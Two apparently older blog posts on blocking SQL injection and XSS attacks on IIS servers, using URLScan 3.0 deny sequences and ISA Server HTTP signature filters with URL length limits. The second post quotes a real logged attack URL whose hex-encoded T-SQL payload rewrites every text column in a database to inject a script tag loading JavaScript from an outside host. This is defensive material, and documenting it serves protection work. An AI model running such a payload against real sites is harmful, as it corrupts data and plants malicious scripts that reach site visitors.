SQL Injection/XSS attacks and URLScan 3.0

In my previous post I wrote about protecting web sites from SQL Injections, XSS and other URL manipulation by using ISA Server. The question for this post is what can users and system administrators without ISA do to protect their (Microsoft) web servers. URLScan 3.0 is a free tool from Microsoft and answer to the above question. URLScan was recently release and will run on IIS 5.1 and newer including IIS 7 running on Windows 2008. It works as ISAPI filter and will check any URL passed to the server. If the URL matches any filter criteria URLScan ISAPI filter will block such request.

After downloading URL Scan and following simple installation instructions we can start configuring our own filters and settings.

First, let’s create an error file that will show an error when an illegal URL is passed to the server. We can create this file inside the website working folder (default "c:\inetpub\wwwroot"). I named my error file "err.htm".

In this file we can enter any message to users passing malformed URL that we want. Message can be HTML formatted or if you want you can even create aspx file that will display visitors IP address or redirect bad request to some other address (e.g. default page). For this demonstration I used simple text message stating "Illegal URL detected…" (picture below)

Now we can open and edit urlscan.ini file by default located in "\Windows\System32\inetsrv\urlscan\".

First let’s edit

RejectResponseURL=/err.htm

"err.htm" is name of the file that we created above. Any rejected URL request will get redirected to this file (picture below)

Next lets scroll down in the urlscan.ini fille to [DenyURLSequences] segment where we can add additional filters. This could include:

• "Char("
• "exec(@s)"
• "..."

And others that I mentioned on my previous post or the ones that you might discovered on your own.

Your urlscan.ini file might now look something like this (picture below)

Any user passing illegal URL to our web server will get an error like this (picture below)

Recommendation: Check out other options in urlscan.ini file that might be useful to you. E.g. if you want to limit URL length you can also edit [RequestLimits] segment

MaxAllowedContentLength=
MaxUrl=
MaxQueryString=

with values that work in your environment. This is actually something that you will have to test in your environment first.

Conclusion: Personally, I prefer to use ISA Server for such filtering when I can. It stops these kinds of attacks at the network edge before the malformed URL even "touches" the web server.

Note: This was never meant as permanent cure for SQL Injection or XSS attacks. This is just a precaution and to buy some time to check and fix any potential vulnerabilities in the web applications.

SQL Injection/XSS attacks and ISA HTTP filter

In my previous post I wrote about blocking China because a lot of SQL Injection/XSS attacks against my customer servers originated from there. In this post I will write about some other steps we took to protect the servers.

From log files we were able to determine that computers there are part of zombie network were passing following URL against the web servers:


http://www.[domain].com/Default.aspx?id=223&lang=2;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C404320766172636861 72283430303029204445434C415245205461626C655F437572736F7220435552534F5 220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D20737973 6F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D6 22E696420616E6420612E78747970653D27752720616E642028622E78747970653D39 39206F7220622E78747970653D3335206F7220622E78747970653D323331206F72206 22E78747970653D31363729204F50454E205461626C655F437572736F722046455443 48204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4 043205748494C4528404046455443485F5354415455533D302920424547494E206578 65632827757064617465205B272B40542B275D20736574205B272B40432B275D3D272 7223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F77777733
2E73733131716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212
D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B65
20272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F7
77777332E73733131716E2E636E2F63737273732F772E6A73223E3C2F736372697074
3E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F43757
2736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572
736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);

After analyzing this URL we determined few optional strings to block. Here are some of them:

• "declare @s char("
• "exec(@s)"
• "@s=cast("
• "char("

Not seen in above encoded URL is also string "script src=http://" which we also decided to block

I decided to block above strings on ISA Server that is in this case front end firewall. I opened ISA Server Management console and right clicked on the publishing rule for the server that was getting attacked. Here I selected "Configure HTTP" (picture below).

Here we select "Signatures" tab and select the "Add" option (picture below)

Here we can now enter strings that we identified earlier and we want to block when they appear in the URL (picture below)

After clicking OK we can preview entered strings (picture below)

We also added another filter under "General" tab. URL in our example is very long (over 1300 characters) and we decided to limit how long the URLs passed to our web servers can be. Instead of default 10240 bytes we decreased the value to 512 bytes which will more than accommodate our needs (picture below). URL requests longer than 512 bytes will be blocked.

When URL matching any entered filters ISA will block the request before it reaches the potentially vulnerable web server (picture below).

Note: This was never meant as permanent cure for SQL Injection or XSS attacks. We did this just as a precaution and to buy some time to check the web applications for any vulnerabilities!

Bleeding Edge materials...

My materials (PPTs etc) from Bleeding Edge are now available for download.